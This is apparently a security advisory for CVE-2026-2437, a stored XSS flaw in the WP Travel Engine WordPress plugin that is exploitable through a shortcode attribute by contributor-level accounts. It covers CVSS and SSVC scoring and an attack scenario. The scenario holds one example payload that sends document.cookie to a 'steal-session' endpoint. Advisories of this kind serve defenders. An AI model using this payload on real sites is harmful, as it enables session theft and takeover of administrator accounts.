Wp Travel Engine Tour Booking Plugin Tour Operator Software CVE-2026-2437

The CVSS 6.4 score reflects a network-accessible vulnerability requiring low privileges (contributor role) with no user interaction, affecting confidentiality and integrity but not availability (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N). The low-privilege requirement significantly reduces real-world risk compared to unauthenticated XSS, as it requires an attacker to either compromise or social-engineer a contributor-level account. The 'Scope: Changed' designation indicates cross-origin or resource-boundary implications, elevating the relative severity. From an SSVC perspective, this is a stored XSS with no active exploitation signal (KEV status not indicated, no POC referenced), moderate technical impact (session compromise, defacement), and requires account compromise or insider threat as a prerequisite. Organizations with strict contributor access controls face lower real-world risk; those with loose access governance should prioritize patching. The attack surface is limited to administrators of sites running the affected plugin versions.

An attacker with a compromised or insider contributor account logs into a WordPress site running WP Travel Engine version 6.7.5 or earlier. The attacker creates or edits a page and embeds the 'wte_trip_tax' shortcode with a malicious JavaScript payload in an attribute, such as [wte_trip_tax tax='<img src=x onerror="fetch('/steal-session?c='+document.cookie)">'], then publishes the page. When site administrators or other authenticated users visit that page, the payload executes in their browser context, exfiltrating session cookies or performing actions on their behalf. No public proof-of-concept is available, but the vulnerability is straightforward to exploit with basic XSS knowledge once a contributor account is obtained.